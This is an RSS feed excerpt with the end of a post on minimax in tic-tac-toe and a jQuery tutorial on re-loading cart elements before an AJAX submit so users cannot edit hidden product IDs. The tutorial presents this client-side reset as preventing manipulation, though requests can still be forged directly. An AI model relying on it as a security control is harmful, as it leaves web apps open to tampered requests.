&lt;li&gt;Max player: Chooses the maximum score&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For instance if we have 3 possible options on the board which the scores are [0,-1,-1] X player will choose &lt;strong&gt;0&lt;/strong&gt; and O player will choose one of the &lt;strong&gt;-1&lt;/strong&gt; options.&lt;/p&gt;

&lt;p&gt;Now, that we know the final score of each action on the board (by continue filling it out) we can easily choose between the scores based on which player is acting as AI player.&lt;/p&gt;




&lt;p&gt;If you're interested in this algorithm and Tic Tac Toe game, you can take a look at &lt;a href="https://github.com/Atena-d/iceXO" rel="noopener noreferrer"&gt;This GitHub Repo&lt;/a&gt; which I covered MiniMax algorithm in an interesting Tic Tac Toe game, in both JavaScript and Python languages.&lt;/p&gt;

</description>
      <category>algorithms</category>
      <category>minimax</category>
      <category>ai</category>
      <category>python</category>
    </item>
    <item>
      <title>Preventing users from manipulating my form</title>
      <dc:creator>Atena Dadkhah</dc:creator>
      <pubDate>Mon, 19 Sep 2022 06:12:25 +0000</pubDate>
      <link>https://forem.com/atenadadkhah/preventing-users-from-manipulating-my-form-5310</link>
      <guid>https://forem.com/atenadadkhah/preventing-users-from-manipulating-my-form-5310</guid>
      <description>&lt;p&gt;Forms are HTML tags that we use in a variety of ways to send the data they hold from one place to another, and then possibly store them somewhere like a database.&lt;/p&gt;




&lt;h3&gt;
  
  
  Do you know how many different forms we have?
&lt;/h3&gt;

&lt;p&gt;In my opinion we have got two different type of forms. &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;The usual ones like login or register  &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Some forms (I call the mysterious ones 😜) like &lt;code&gt;add to cart&lt;/code&gt; or instant logout with a button or even &lt;code&gt;edit&lt;/code&gt; and &lt;code&gt;delete&lt;/code&gt; buttons in a list of items.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For the first type, using AJAX doesn't really matter but for the second one, it's essential; because we expect instant response from the website not reloading again and again every time we send a request.&lt;/p&gt;

&lt;p&gt;We some times need to send some sensitive data like user ID or the ID of a product ...etc, this happens mostly in the second type of forms, so my main focus in this post is on this type.&lt;/p&gt;

&lt;p&gt;Imagine we have a list of products that we've already added it to our cart.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqw8e7rhqffhq4pw5s0jw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqw8e7rhqffhq4pw5s0jw.png" alt="Image description" width="800" height="427"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you see there is a tiny multiplication sign next to each item (delete) and a quantity button which should change whenever we reduce or increase the number (update).&lt;/p&gt;

&lt;p&gt;To implement these options (delete &amp;amp; update) we need to know which option is being deleted or updated; in other words, we should recognize them.&lt;br&gt;&lt;br&gt;
 How?&lt;/p&gt;

&lt;p&gt;Well, there is just one way (as far as I know) that is specifying the ID of each item and send it along with other values to the server.&lt;br&gt;
You can &lt;em&gt;hash&lt;/em&gt; this ID or whatever you want. But there must be a value to identify which item you are operating on.&lt;/p&gt;

&lt;p&gt;I usually do that using &lt;strong&gt;hidden type inputs&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;input type="hidden" name="product-id" value='1'&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And then send it to the server.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$('form').submit(function(){
     $.ajax({
       url : url,
       type: 'POST',
       data: $(this).serialize(),
       success: function(){ alert('Success') },
       error: function(){ alert('Error') }
     })
})
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I used jQuery but you can use either pure JavaScript for AJAX request.&lt;/p&gt;

&lt;p&gt;This process continues well and happily, but imagine the user &lt;strong&gt;manipulate&lt;/strong&gt; the ID (By inspecting or developer tools in browsers) that we're sending to the server; We may then operate on the wrong item and what if the ID doesn't exist in our database? Then it will cause an error 😁&lt;/p&gt;

&lt;p&gt;The solution is that to simply put a condition in your back-end to check if that ID exists, then do the operation.&lt;/p&gt;

&lt;p&gt;But my purpose is to prevent users from &lt;em&gt;&lt;strong&gt;manipulating&lt;/strong&gt;&lt;/em&gt; the sensitive data of a form before submitting the form. &lt;/p&gt;

&lt;p&gt;My idea is to reset all sensitive data before sending to the server, right after the user submits the form. In this case you can always send true data to the server (although you should keep server-side checks for sure.)&lt;/p&gt;

&lt;p&gt;In jQuery when we want to reload child elements inside a parent element we should give an &lt;code&gt;id&lt;/code&gt; to the parent element.&lt;/p&gt;

&lt;p&gt;HTML:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;section id="parent"&amp;gt;  
    &amp;lt;span&amp;gt;Banana&amp;lt;/span&amp;gt;
    &amp;lt;span&amp;gt;Apple&amp;lt;/span&amp;gt;
    &amp;lt;span&amp;gt;Orange&amp;lt;/span&amp;gt;
&amp;lt;/section&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;JS:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$('#parent').load(document.URL + ' #parent &amp;gt; *')
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By that you're resetting child elements without reloading the whole page and the user will never understand that. &lt;/p&gt;

&lt;p&gt;&lt;em&gt;Notice you should keep the space before element ID when concating to document.URL&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Now let's bring this idea back to our previous example about user cart.&lt;/p&gt;

&lt;p&gt;Imagine you have a div tag called &lt;code&gt;#cart-item-{index}&lt;/code&gt; like this for each cart item.&lt;br&gt;
(it's not necessary to have &lt;code&gt;form&lt;/code&gt; tag when using AJAX)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;section id="manage-cart"&amp;gt;
   &amp;lt;div id="cart-item-1"&amp;gt;
        &amp;lt;span class="close" data-product-id="20"&amp;gt;&amp;amp;times;&amp;lt;/span&amp;gt;
        &amp;lt;div class="product-details"&amp;gt;
          ...
        &amp;lt;/div&amp;gt;
   &amp;lt;/div&amp;gt;
   &amp;lt;div id="cart-item-2"&amp;gt;
        &amp;lt;span class="close" data-product-id="23"&amp;gt;&amp;amp;times;&amp;lt;/span&amp;gt;
        &amp;lt;div class="product-details"&amp;gt;
          ...
        &amp;lt;/div&amp;gt;
   &amp;lt;/div&amp;gt;
&amp;lt;/section&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here &lt;code&gt;data-product-id&lt;/code&gt; attribute shows the ID of the product (which you can &lt;em&gt;hash&lt;/em&gt; then) &lt;/p&gt;

&lt;p&gt;The structure is when user clicks on &lt;code&gt;.close&lt;/code&gt; element to delete that cart item we should instantly get the ID from it's attribute, and the point is to prevent user from changing that ID and finally send the exact true value to the server server.&lt;/p&gt;

&lt;p&gt;Lets implement it right now. 😉&lt;/p&gt;

&lt;p&gt;AJAX:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    $('.close').click(function(){
        const parentID = '#' + $(this).parent().attr('id')
        $(parentID).load(document.URL + ` ${parentID} &amp;gt; *`, function(){
            const pID = $(this).find('.close').attr('data-product-id')
            console.log(pID)
            $.ajax({
                url:url,
                type:'POST',
                data: pID,
                success:function(){alert('Success')},
                error:function(){alert('Error')},
            })
        })
    })
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As an explanation to this code I have to say, after the user clicks on the &lt;code&gt;.click&lt;/code&gt; element we get it's parent ID which is unique. Then before the AJAX request, we reset all elements inside this &lt;code&gt;cart-item&lt;/code&gt; then as a callback function we request to a URL and send the same product ID each time.&lt;/p&gt;

&lt;p&gt;You see, even if we change &lt;code&gt;data-product-id&lt;/code&gt; by inspecting the element in the browser, the console shows the same ID it was in the source code. (I &lt;code&gt;console.log()&lt;/code&gt; the ID)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;But Wait!&lt;/em&gt;&lt;/strong&gt; there is a tiny bug in this code.&lt;/p&gt;

&lt;p&gt;As we reset the &lt;code&gt;.close&lt;/code&gt; element in jQuery after clicking on it, JavaScript actually creates this element again &lt;strong&gt;dynamically&lt;/strong&gt; so we can't click on it over again.&lt;/p&gt;

&lt;p&gt;The solution is to involve the document, in this case this problem is easily solved.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    $(document).on('click', '.close',function(){
        const parentID = '#' + $(this).parent().attr('id')
        $(parentID).load(document.URL + ` ${parentID} &amp;gt; *`, function(){
            const pID = $(this).find('.close').attr('data-product-id')
            console.log(pID)
            $.ajax({
                url:'index.html',
                type:'POST',
                data: pID,
                success:function(){alert('Success')},
                error:function(){alert('Error')},
            })
        })
    })

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I hope you enjoyed this post.&lt;br&gt;
Have fun! 😊&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>webdev</category>
      <category>html</category>
    </item>
  </channel>
</rss>
